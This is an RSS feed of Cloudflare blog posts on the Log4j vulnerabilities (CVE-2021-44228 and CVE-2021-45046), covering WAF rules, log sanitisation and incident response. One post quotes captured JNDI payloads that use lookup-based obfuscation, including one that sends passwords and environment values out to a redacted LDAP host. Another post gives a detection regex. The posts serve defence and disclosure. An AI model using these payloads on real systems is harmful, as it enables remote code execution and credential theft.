
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 04 Apr 2026 11:14:19 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Protection against CVE-2021-45046, the additional Log4j RCE vulnerability]]></title>
            <link>https://blog.cloudflare.com/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/</link>
            <pubDate>Wed, 15 Dec 2021 13:56:13 GMT</pubDate>
            <description><![CDATA[ This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible. Latest version is available on the Log4J download page. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046">CVE-2021-45046</a>. The rules that we <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">previously released for CVE-2021-44228</a> give the same level of protection for this new CVE.</p><p>This vulnerability is actively being exploited and anyone using Log4J should update to version <b>2.16.0</b> as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the <a href="https://logging.apache.org/log4j/2.x/download.html">Log4J download page</a>.</p><p>Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100514 </code>(legacy WAF)
<code>6b1cc72dff9746469d4695a474430f12</code>(new WAF)</p></td><td><p>Log4J Headers</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100515 </code>(legacy WAF)
<code>0c054d4e4dd5455c9ff8f01efe5abb10 </code>(new WAF)</p></td><td><p>Log4J Body</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100516 </code>(legacy WAF)
<code>5f6744fa026a4638bda5b3d7d5e015dd </code>(new WAF)</p></td><td><p>Log4J URL</p></td><td><p><code>BLOCK</code></p></td></tr></table><p>The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.</p><p>In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to <code>BLOCK</code> by default:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100517 </code>(legacy WAF)
<code>2c5413e155db4365befe0df160ba67d7 </code>(new WAF)</p></td><td><p>Log4J Advanced URI, Headers</p></td><td><p><code>DISABLED</code></p></td></tr></table>
    <div>
      <h3>Who is affected</h3>
      <a href="#who-is-affected">
        
      </a>
    </div>
    <p>Log4J is a powerful Java-based logging library maintained by the Apache Software Foundation.</p><p>In all Log4J versions &gt;= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution</a>. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</p><p>In addition, the previous mitigations for CVE-2021-22448 as seen in version 2.15.0 were not adequate to protect against CVE-2021-45046.</p> ]]></content:encoded>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">6pspqKqlsP5qiWZ0SPJahl</guid>
            <dc:creator>Gabriel Gabor</dc:creator>
            <dc:creator>Andre Bluehs</dc:creator>
        </item>
        <item>
            <title><![CDATA[Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration]]></title>
            <link>https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/</link>
            <pubDate>Tue, 14 Dec 2021 17:48:50 GMT</pubDate>
            <description><![CDATA[ This article covers WAF evasion patterns and exfiltration attempts, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228. ]]></description>
            <content:encoded><![CDATA[ <p>In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the world, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>.</p><p>In short, we saw limited testing of the vulnerability on December 1, <i>eight days before public disclosure</i>. We saw the <i>first attempt to exploit the vulnerability just nine minutes after public disclosure</i> showing just how fast attackers exploit newly found problems.</p><p>We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate data</a> including secret credentials and passwords.</p>
    <div>
      <h3>WAF Evasion Patterns and Exfiltration Examples</h3>
      <a href="#waf-evasion-patterns-and-exfiltration-examples">
        
      </a>
    </div>
    <p>Since the <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/">disclosure</a> of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAFs</a> provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.</p><p>In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with <code>${jndi:dns, ${jndi:rmi</code> and <code>${jndi:ldap</code> and simple rules to look for those patterns were effective.</p><p>Quickly after those strings were being blocked and attackers switched to using evasion techniques. They used, and are using, both standard evasion techniques (escaping or encoding of characters) and tailored evasion specific to the <a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Log4j Lookups language</a>.</p><p>Any capable WAF will be able to handle the standard techniques. Tricks like encoding <code>${</code> as <code>%24%7B</code> or <code>\u0024\u007b</code> are easily reversed before applying rules to check for the specific exploit being used.</p><p>However, the Log4j language has some rich functionality that enables obscuring the key strings that some WAFs look for. For example, the <code>${lower}</code> lookup will lowercase a string. So, <code>${lower:H}</code> would turn into <code>h</code>. Using lookups attackers are disguising critical strings like <code>jndi</code> helping to evade WAFs.</p><p>In the wild we are seeing use of <code>${date}</code>, <code>${lower}</code>, <code>${upper}</code>, <code>${web}</code>, <code>${main}</code> and <code>${env}</code> for evasion. Additionally, <code>${env}</code>, <code>${sys}</code> and <code>${main}</code> (and other specialized lookups for Docker, Kubernetes and other systems) are being used to exfiltrate data from the target process’ environment (including critical secrets).</p><p>To better understand how this language is being used, here is a small Java program that takes a string on the command-line and logs it to the console via Log4j:</p>
            <pre><code>import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}</code></pre>
            <p>This simple program writes to the console. Here it is logging the single word hide.</p>
            <pre><code>$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide</code></pre>
            <p>The Log4j language allows use of the <code>${}</code> inside <code>${}</code> thus attackers are able to combine multiple different keywords for evasion. For example, the following <code>${lower:${lower:h}}${lower:${upper:i}}${lower:D}e</code> would be logged as the word <code>hide</code>. That makes it easy for an attacker to evade simplistic searching for <code>${jndi</code>, for example, as the letters of <code>jndi</code> can be hidden in a similar manner.</p>
            <pre><code>$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide</code></pre>
            <p>The other major evasion technique makes use of the :- syntax. That syntax enables the attacker to set a default value for a lookup and if the value looked up is empty then the default value is output. So, for example, looking up a non-existent environment variable can be used to output letters of a word.</p>
            <pre><code>$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide</code></pre>
            <p>Similar techniques are in use with <code>${web}</code>, <code>${main}</code>, etc. as well as strings like <code>${::-h}</code> or <code>${::::::-h}</code> which both turn into <code>h</code>. And, of course, combinations of these techniques are being put together to make more and more elaborate evasion attempts.</p><p>To get a sense for how evasion has taken off here's a chart showing un-obfuscated <code>${jndi:</code> appearing in WAF blocks (the orange line), the use of the <code>${lower}</code> lookup (green line), use of URI encoding (blue line) and one particular evasion that's become popular <code>${${::-j}${::-n}${::-d}${::-i}</code>(red line).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6imnpZmBPnDmDdZL5YDHrG/e3fb526beb0d790b907bd16a2ca903a3/image--7-.png" />
            
            </figure><p>For the first couple of days evasion was relatively rare. Now, however, although naive strings like <code>${jndi:</code> remain popular evasion has taken off and WAFs must block these improved attacks.</p><p>We wrote last week about the initial phases of exploitation that were <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">mostly about reconnaissance</a>. Since then attackers have moved on to data extraction.</p><p>We see the use of <code>${env}</code> to extract environment variables, and <code>${sys}</code> to get information about the system on which Log4j is running. One attack, blocked in the wild, attempted to exfiltrate a lot of data from various Log4j lookups:</p>
            <pre><code>${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}</code></pre>
            <p>There you can see the user, home directory, Docker image name, details of Kubernetes and Spring, passwords for the user and databases, hostnames and command-line arguments being exfiltrated.</p><p><b>Because of the sophistication of both evasion and exfiltration WAF vendors need to be looking at any occurrence of ${ and treating it as suspicious.</b> For this reason, we are additionally offering <a href="/log4j-cloudflare-logs-mitigation/">to sanitize any logs</a> we send our customer to convert <code>${</code> to <code>x{</code>.</p><p>The Cloudflare WAF team is continuously working to block attempted exploitation, but it is still vital that customers patch their systems with up-to-date Log4j or apply mitigations. Since data that is logged does not necessarily come via the Internet systems need patching whether they are Internet-facing or not.</p><p>All paid customers have configurable WAF rules to help protect against CVE-2021-44228, and we have also deployed protection for our free customers.</p>
    <div>
      <h3>CVE-2021-44228 Exploitation Trends</h3>
      <a href="#cve-2021-44228-exploitation-trends">
        
      </a>
    </div>
    <p>Cloudflare quickly put in place WAF rules to help block these attacks. The following chart shows how those blocked attacks evolved.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7vRyAqkAVVCcgYXQyAW3He/8d1ee7c2575a6a2106c4641fab7827dc/image3-39.png" />
            
            </figure><p>From December 10 to December 13 we saw the number of blocks per minute ramp up as follows.</p><table><tr><td><p><b>Date</b></p></td><td><p><b>Mean blocked requests per minute</b></p></td></tr><tr><td><p>2021-12-10</p></td><td><p>5,483</p></td></tr><tr><td><p>2021-12-11</p></td><td><p>18,606</p></td></tr><tr><td><p>2021-12-12</p></td><td><p>27,439</p></td></tr><tr><td><p>2021-12-13</p></td><td><p>24,642</p></td></tr></table><p>In our <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">initial blog post</a> we noted that Canada (the green line below) was the top source country for attempted exploitation. As we predicted that did not continue and attacks are coming from all over the world, either directly from servers or via proxies.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/38r1ZNJMpqQQ1qV9aPzfiK/9bd75219c35a9a6f68b7c57633f51e20/image1-72.png" />
            
            </figure>
    <div>
      <h3>Exploitation of CVE-2021-44228 prior to disclosure</h3>
      <a href="#exploitation-of-cve-2021-44228-prior-to-disclosure">
        
      </a>
    </div>
    <p>CVE-2021-44228 was disclosed in a (now deleted) Tweet on 2021-12-09 14:25 UTC:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2H5jJqC0ZOKtwIBxFfXJWX/14ed9c5085d95c34b14e632e131aa9ea/image2-53.png" />
            
            </figure><p>However, our systems captured three instances of attempted exploitation or scanning on December 1, 2021, as follows. In each of these I have obfuscated IP addresses and domain names. These three injected <code>${jndi:ldap}</code> lookups in the HTTP <code>User-Agent</code> header, the <code>Referer</code> header and in URI parameters.</p>
            <pre><code>2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	</code></pre>
            <p>After those three attempts we saw no further activity until nine minutes after public disclosure when someone attempts to inject a <code>${jndi:ldap}</code> string via a URI parameter on a gaming website.</p>
            <pre><code>2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}</code></pre>
            
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>CVE-2021-44228 is being actively exploited by numerous actors. WAFs are effective as a measure to help prevent attacks from the outside, but they are not foolproof and attackers are actively working on evasions. The potential for exfiltration of data and credentials is incredibly high and the long term risks of more devastating hacks and attacks is very real.</p><p>It is vital to mitigate and patch affected software that uses Log4j now and not wait.</p> ]]></content:encoded>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">5zmkavCF1c5hkbRKHHOlWf</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Celso Martinho</dc:creator>
        </item>
        <item>
            <title><![CDATA[Sanitizing Cloudflare Logs to protect customers from the Log4j vulnerability]]></title>
            <link>https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation/</link>
            <pubDate>Tue, 14 Dec 2021 10:23:30 GMT</pubDate>
            <description><![CDATA[ Many Cloudflare customers consume their logs using software that uses Log4j, so we are mitigating any exploit attempts via Cloudflare Logs. ]]></description>
            <content:encoded><![CDATA[ <p>On December 9, 2021, the world learned about <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>, a zero-day exploit affecting the <a href="https://logging.apache.org/log4j/2.x/index.html">Apache Log4j utility</a>.  Cloudflare immediately <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">updated our WAF</a> to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.</p><p>However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.</p><p>Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our <a href="https://developers.cloudflare.com/logs/reference/logpush-api-configuration#options">developer docs</a> or see details below.</p>
    <div>
      <h3>How the attack works</h3>
      <a href="#how-the-attack-works">
        
      </a>
    </div>
    <p>You can read more about <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">how the Log4j vulnerability works</a> in our blog post . In short, an attacker can add something like <code>${jndi:ldap://example.com/a}</code> in any string. Log4j will then make a connection on the Internet to retrieve this object.</p><p>Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution</a> on any system that reads these fields and uses an unpatched instance of Log4j.</p>
    <div>
      <h3>Our mitigation plan</h3>
      <a href="#our-mitigation-plan">
        
      </a>
    </div>
    <p>Unfortunately, just checking for a token like <code>${jndi:ldap</code> is not sufficient to protect against this vulnerability. Because of the expressiveness of the templating language, it’s necessary to check for obfuscated variants as well. Already, we are seeing attackers in the wild use variations like <code>${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}</code>.  Thus, redacting the token ${ is the most general way to defend against this vulnerability.</p><p>The token <code>${</code> appears up to 1,000 times per second in the logs we currently send to customers. A spot check of some records shows that many of them are <i>not</i> attempts to exploit this vulnerability. Therefore, we can’t safely redact our logs without impacting customers who may expect to see this token in their logs.</p><p>Starting now, customers can update their Logpush jobs to redact the string <code>${</code> and replace it with <code>x{</code> everywhere.</p><p>To enable this, customers can update their Logpush job options configuration to include the parameter <code>CVE-2021-44228=true</code>. For detailed instructions on how to do this using the Logpush API, see the example in <a href="https://developers.cloudflare.com/logs/reference/logpush-api-configuration/examples/example-logpush-curl#step-6---updating-logpull_options">our developer documentation</a>. Please note that this option is not currently available in the Cloudflare Dashboard and only modifiable by using the API.</p> ]]></content:encoded>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">2gTEgDnn3ynhqs9rwNuhie</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Sohei Okamoto</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare security responded to Log4j 2 vulnerability]]></title>
            <link>https://blog.cloudflare.com/how-cloudflare-security-responded-to-log4j2-vulnerability/</link>
            <pubDate>Fri, 10 Dec 2021 23:39:00 GMT</pubDate>
            <description><![CDATA[ Yesterday, December 9, 2021, when a serious vulnerability in the popular Java-based logging package log4j was publicly disclosed, our security teams jumped into action to help respond to the first question and answer the second question. This post explores the second. ]]></description>
            <content:encoded><![CDATA[ <p>At Cloudflare, when we learn about a new security vulnerability, we quickly bring together teams to answer two distinct questions: (1) what can we do to ensure our customers’ infrastructures are protected, and (2) what can we do to ensure that our own environment is secure. Yesterday, December 9, 2021, when a serious vulnerability in the popular Java-based logging package <a href="https://logging.apache.org/log4j/2.x/index.html">Log4j</a> was publicly disclosed, our security teams jumped into action to help respond to the first question and answer the second question. This post explores the second.</p><p>We cover the details of how this vulnerability works in a separate blog post: <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">Inside the Log4j2 vulnerability (CVE-2021-44228)</a>, but in summary, this vulnerability allows an attacker to execute code on a remote server. Because of the widespread use of Java and Log4j, this is likely one of the most serious vulnerabilities on the Internet since both <a href="/searching-for-the-prime-suspect-how-heartbleed-leaked-private-keys/">Heartbleed</a> and <a href="/inside-shellshock/">ShellShock</a>. The vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>. The CVE description states that the vulnerability affects Log4j2 &lt;=2.14.1 and is patched in 2.15. The vulnerability additionally <a href="https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126">impacts all versions of log4j 1.x</a>; however, it is End of Life and has other security vulnerabilities that will not be fixed. Upgrading to 2.15 is the recommended action to take. You can also read about how we updated our WAF rules to help protect our customers in this post: <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">CVE-2021-44228 - Log4j RCE 0-day mitigation</a></p>
    <div>
      <h3>Timeline</h3>
      <a href="#timeline">
        
      </a>
    </div>
    <p>One of the first things we do whenever we respond to an incident is start drafting a timeline of events we need to review and understand within the context of the situation. Some examples from our timeline here include:</p><ul><li><p>2021-12-09 16:57 UTC - Hackerone report received regarding Log4j RCE on developers.cloudflare.com</p></li><li><p>2021-12-10 09:56 UTC - First WAF rule shipped to Cloudflare Specials ruleset</p></li><li><p>2021-12-10 10:00 UTC - Formal engineering INCIDENT is opened and work begins to identify areas we need to patch Log4j</p></li><li><p>2021-12-10 10:33 UTC - Logstash deployed with patch to mitigate vulnerability.</p></li><li><p>2021-12-10 10:44 UTC - Second WAF rule is live as part of Cloudflare managed rules</p></li><li><p>2021-12-10 10:50 UTC - ElasticSearch restart begins with patch to mitigate vulnerability</p></li><li><p>2021-12-10 11:05 UTC - ElasticSearch restart concludes and is no longer vulnerable</p></li><li><p>2021-12-10 11:45 UTC - Bitbucket is patched and no longer vulnerable</p></li><li><p>2021-12-10 21:22 UTC - Hackerone report closed as Informative after it was unable to be reproduced</p></li></ul>
    <div>
      <h3>Addressing internal impact</h3>
      <a href="#addressing-internal-impact">
        
      </a>
    </div>
    <p>An important question when dealing with any software vulnerability, and what may actually be the hardest question that every company has to answer in this particular case is: where are all the places that the vulnerable software is actually running?</p><p>If the vulnerability is in a proprietary piece of software licensed by one company to the rest of the world, that is easy to answer - you just find that one piece of software. But in this case that was much harder. Log4j is a widely used piece of software but not one that people who are not Java developers are likely to be familiar with. Our first action was to refamiliarize ourselves with all places in our infrastructure where we were running software on the JVM, in order to determine which software components could be vulnerable to this issue.</p><p>We were able to create an inventory of all software we have running on the JVM using our centralized code repositories. We used this information to research and determine each individual Java application we had, whether it contained Log4j, and which version of Log4j was compiled into it.</p><p>We discovered that our ElasticSearch, LogStash, and Bitbucket contained instances of the vulnerable Log4j package that was between versions 2.0 and 2.14.1. We were able to use the mitigation strategies described in the official Log4j security documentation to patch the issue. For each instance of Log4j we either removed the JndiLookup class from the classpath:</p><p><code>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code></p><p>Or we set the mitigating system property in the log4j configuration:</p><p><code>log4j2.formatMsgNoLookups</code></p><p>We were able to quickly mitigate this issue in these packages using these strategies while waiting for new versions of the packages to be released.</p>
    <div>
      <h3>Reviewing External Reports</h3>
      <a href="#reviewing-external-reports">
        
      </a>
    </div>
    <p>Even before we were done making the list of internal places where the vulnerable software was running, we started by looking at external reports - from HackerOne, our bug bounty program, and a public post in GitHub suggesting that we might be at risk.</p><p>We identified at least two reports that seemed to indicate that Cloudflare was vulnerable and compromised. In one of the reports was the following screenshot:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2qkLHVM69u2bAYEKAWf0UV/34d05486738526729369652f219e4aeb/65876613-4802-4014-B265-A28C1B807847.png" />
            
            </figure><p>This example is targeting our developer documentation hosted at <a href="https://developer.cloudflare.com/">https://developer.cloudflare.com</a>. On the right-hand side, the attacker demonstrates that a DNS query was received for the payload he sent to our server. However, the IP address flagged here is <code>173.194.95.134</code>, a member of a Google owned IPv4 subnet (<code>173.194.94.0/23</code>).</p><p>Cloudflare’s developer documentation is hosted as a Cloudflare Worker and only serves static assets. The repository is <a href="https://github.com/cloudflare/cloudflare-docs">public</a>. The Worker relies on Google’s analytics library as seen <a href="https://github.com/cloudflare/cloudflare-docs/blob/production/developers.cloudflare.com/workers-site/index.js#L48">here</a>, therefore, we hypothesize that the attacker was not receiving a request from Cloudflare but through Google's servers.</p><p>Our backend servers receive logging from Workers, but exploitation was also not possible in this instance as we leverage robust Kubernetes egress policies that prevent calling out to the Internet. The only communication allowed is to a curated set of internal services.</p><p>When we received a similar report in our vulnerability disclosure program while gathering more information, the researcher was unable to reproduce the issue. This further enforced our hypothesis that it was third party servers, and they may have patched the issue.</p>
    <div>
      <h3>Was Cloudflare compromised?</h3>
      <a href="#was-cloudflare-compromised">
        
      </a>
    </div>
    <p>While we were running versions of the software as described above, thanks to our speed of response and defense in depth approach, we do not believe Cloudflare was compromised. We have invested significant efforts into validating this, and we will continue working on this effort until everything is known about this vulnerability. Here is a bit about that part of our efforts.</p><p>As we were working to evaluate and isolate all the contexts in which the vulnerable software might be running and remediate them, we started a separate workstream to analyze whether any of those instances had been exploited.  Our detection and response methodology follows industry standard Incident Response practices and was thoroughly deployed to validate whether any of our assets were indeed compromised. We followed a multi-pronged approach described next.</p>
    <div>
      <h3>Reviewing Internal Data</h3>
      <a href="#reviewing-internal-data">
        
      </a>
    </div>
    <p>Our asset inventory and code scanning tooling allowed us to identify all applications and services reliant on Apache Log4j. While these applications were being reviewed and upgraded if needed, we were performing a thorough scan of these services and hosts. Specifically, the exploit for CVE-2021-44228 relies on particular patterns in log messages and parameters, for example <code>\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+</code>. For each potentially impacted service, we performed a log analysis to expose any attempts at exploitation.</p>
    <div>
      <h3>Reviewing Network Analytics</h3>
      <a href="#reviewing-network-analytics">
        
      </a>
    </div>
    <p>Our network analytics allow us to identify suspicious network behavior that may be indicative of attempted or actual exploitation of our infrastructure. We scrutinised our network data to identify the following:</p><ol><li><p>Suspicious Inbound and Outbound ActivityBy analyzing suspicious inbound and outbound connections, we were able to sweep our environment and identify whether any of our systems were displaying signs of active compromise.</p></li><li><p>Targeted Systems &amp; ServicesBy leveraging pattern analytics against our network data, we uncovered systems and services targeted by threat-actors. This allowed us to perform correlative searches against our asset inventory, and drill down to each host to determine if any of those machines were exposed to the vulnerability or actively exploited.</p></li><li><p>Network IndicatorsFrom the aforementioned analysis, we gained insight into the infrastructure of various threat actors and identified network indicators being utilized in attempted exploitation of this vulnerability. Outbound activity to these indicators was blocked in Cloudflare Gateway.</p></li></ol>
    <div>
      <h3>Reviewing endpoints</h3>
      <a href="#reviewing-endpoints">
        
      </a>
    </div>
    <p>We were able to correlate our log analytics and network analytics workflows to supplement our endpoint analysis. From our findings from both of those analyses, we were able to craft endpoint scanning criteria to identify any additional potentially impacted systems and analyze individual endpoints for signs of active compromise. We utilized the following techniques:</p>
    <div>
      <h5>Signature Based Scanning</h5>
      <a href="#signature-based-scanning">
        
      </a>
    </div>
    <p>We are in the process of deploying custom Yara detection rules to alert on exploitation of the vulnerability. These rules will be deployed in the Endpoint Detection and Response agent running on all of our infrastructure and our centralized Security Information and Events Management (SIEM) tool.</p>
    <div>
      <h5>Anomalous Process Execution and Persistence Analysis</h5>
      <a href="#anomalous-process-execution-and-persistence-analysis">
        
      </a>
    </div>
    <p>Cloudflare continuously collects and analyzes endpoint process events from our infrastructure. We used these events to search for post-exploitation techniques like download of second stage exploits, anomalous child processes, etc.</p><p>Using all of these approaches, we have found no evidence of compromise.</p>
    <div>
      <h3>Third-Party risk</h3>
      <a href="#third-party-risk">
        
      </a>
    </div>
    <p>In the analysis above, we focused on reviewing code and data we generate ourselves. But like most companies, we also rely on software that we have licensed from third parties. When we started our investigation into this matter, we also partnered with the company’s information technology team to pull together a list of each and every primary third-party provider and all sub-processors to inquire about whether they were affected. We’re in the process of receiving and reviewing responses from the providers. Any providers who we deem critical that are impacted by this vulnerability will be disabled and blocked until they are fully remediated.</p>
    <div>
      <h3>Validation that our defense-in depth approach worked</h3>
      <a href="#validation-that-our-defense-in-depth-approach-worked">
        
      </a>
    </div>
    <p>As we responded to this incident, we found several places where our defense in depth approach worked.</p><ol><li><p>Restricting outbound traffic</p></li></ol><p>Restricting the ability to <i>call home</i> is an essential part of the <i>kill-chain</i> to make exploitation of vulnerabilities much harder. As noted above, we leverage Kubernetes network policies to restrict egress to the Internet on our deployments. In this context, it prevents the next-stage of the attack, and the network connection to attacker controlled resources is dropped.</p><p>All of our externally facing services are protected by Cloudflare. The origin servers for these services are set up via authenticated origin pulls. This means that none of the servers are exposed directly to the Internet.</p><p>2.   Using Cloudflare to secure Cloudflare</p><p>All of our internal services are protected by our Zero-trust product, Cloudflare Access. Therefore, once we had patched the limited <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a> we had identified, any exploit attempts to Cloudflare’s systems or customers leveraging Access would have required the attacker to authenticate.</p><p>And because we have the Cloudflare WAF product deployed as part of our effort to secure Cloudflare using Cloudflare, we benefited from all the work being done to protect our customers. All new WAF rules written to protect against this vulnerability were updated with a default action of <code>BLOCK</code>. Like every other customer who has the WAF deployed, we are now receiving protection without any action required on our side.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>While our response to this challenging situation continues, we hope that this outline of our efforts helps others. We are grateful for all the support we have received from within and outside of Cloudflare.</p><p><i>Thank you to Evan Johnson, Anjum Ahuja, Sourov Zaman, David Haynes, and Jackie Keith who also contributed to this blog.</i></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">1O7bzj7EcacHO0pyRXeWVY</guid>
            <dc:creator>Rushil Shah</dc:creator>
            <dc:creator>Thomas Calderon</dc:creator>
        </item>
        <item>
            <title><![CDATA[Secure how your servers connect to the Internet today]]></title>
            <link>https://blog.cloudflare.com/secure-how-your-servers-connect-to-the-internet-today/</link>
            <pubDate>Fri, 10 Dec 2021 21:24:45 GMT</pubDate>
